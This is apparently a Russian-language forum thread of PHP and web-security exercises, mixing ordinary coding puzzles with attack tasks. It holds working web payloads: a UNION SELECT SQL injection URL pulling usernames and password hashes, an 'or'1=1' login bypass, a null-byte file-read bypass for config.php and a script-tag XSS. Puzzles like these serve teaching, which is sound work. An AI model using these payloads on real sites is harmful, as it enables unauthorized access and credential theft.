Code: http://site.com/index.php?name=union%09select%091,2,CONCAT_WS(':',name,passwd),4,5,6%09from%09users/*
в 6 'password'=0 в 9 точек добавить штук 250 в 11 PHP: function zamena($s) { return "0x".strtoupper(dechex($s[1])); } $str=' 383 текст с числами 5838 635 еще текст 001 462 432текст564 '; $str = preg_replace_callback("/(\d{4})/U", "zamena", $str); $str = preg_replace_callback("/(\d{3})/U", "zamena", $str); echo $str;
SleepShadowWeb, правильно 011 сделал, хотя можно было немного попроще: PHP: $str=' 383 текст с числами 5838 635 еще текст 001 462 432текст564 '; $str=preg_replace_callback("/(\d+)/s","replace_hex",$str); function replace_hex($m) { return '0x'.strtoupper(dechex($m[1])); } print $str;
Задание 013 Войти в панель администрирования, используя sql injection . В БД не лезть. Обмануть проверку просто. PHP код: PHP: <?php // Login.php .... $query = "select * from admin where pass = '$_POST['pass']' and login = '$_POST['login']'"; ?> Code: login = 'or'1=1' pass = 'or'1=1'
Задание 015 Какое число будет записано в переменую id при регистр глобал ON, и объяснить ПОЧЕМУ. PHP: POST => $id = 1 COOKIE => $id = 2 GET => $id = 3 PHP код: <?ph $id = $_REСQUEST['id']; ?> Правильно не $_REСQUEST а $_REQUEST При global On и опции GPC будет записанно 2 Потому что "C" (Cookie) в опции GPC стоит последней => будет записанна последней
Задание 009 В директории 2 файла: index.php , news.inc , config.php. Надо обойти защиту от расширения и прочитать файл config.php PHP: <?php $f = (string)@$_GET['f']; $f = str_replace('/', '', $f); $f .= .inc; if (file_exists($f)) { echo htmlspecialchars(file_get_contents($f)); } else exit; ?> magic_quotes_gpc = OFF Code: http://site.com/file.php?f=config.php%00
BlackSun можно и так ... =) [/IMG]<script>alert(/lol/)</script>[/IMG] если воспользоватся возможностями html_entity_decode =)
в регулярке модификатор s зачем? помоему и без него реплейсу живёться не дурно.. strtoupper тут зачем ? поднимаем хекс товарищи! в колбеках с небольшой ф-ией удобно будет заюзать create_function(); вместо создания отдельной ..
кстати, может объяснит кто-то зачем замену делать в отдельной функции, я пробовал у себя так preg_replace("/(\d+)/", dechex("\$1"),$str); возвращает везде 0, не пойму почему так, буду благодарен, если кто-то разъяснит =)
Забавно, получается, что самый короткий вариант: PHP: $str=preg_replace("/(\d+)/e","'0x'.dechex($1);",$str);
Ну я смотрю некоторые люди заинтересовались заданиями... Хотелось бы услышить мнение ваше. Сначало были одни тупые возражения в мой адрес. А теперь? Когда задания "работают" ? Калие недостатки? Что не нравится? Итд.
Новое задание от меня. Есть массив: PHP: $arr=Array( Array('key1'=> 1, 'key2'=>3), Array('key1'=> 8, 'key2'=>4), Array('key1'=> 5, 'key2'=>6), Array('key1'=> 5, 'key2'=>8), Array('key1'=> 6, 'key2'=>9), Array('key1'=> 3, 'key2'=>7), Array('key1'=> 5, 'key2'=>1), Array('key1'=> 2, 'key2'=>2), Array('key1'=> 0, 'key2'=>0), Array('key1'=> 2, 'key2'=>5) ); Написать функцию для его сортировки, чтобы можно было отсортировать этот массив, например, по ключам key1 по возрастанию и по ключам key2 по убыванию (нечто вроде sql - order by key1 asc, key2 desc), чтобы в результате получился такой массив: PHP: Array( //все key1 - по возрастанию Array('key1'=>0,'key2'=>0), Array('key1'=>1,'key2'=>3), Array('key1'=>2,'key2'=>5), //тут Array('key1'=>2,'key2'=>2), //и тут key2 - по убыванию Array('key1'=>3,'key2'=>7), Array('key1'=>5,'key2'=>8), //аналогично тут Array('key1'=>5,'key2'=>6), //тут Array('key1'=>5,'key2'=>1), //и тут Array('key1'=>6,'key2'=>9), Array('key1'=>8,'key2'=>4) ) Учесть, что ключей у вложенных массивов может быть сколько угодно, самих вложенных массивов также может быть любое число.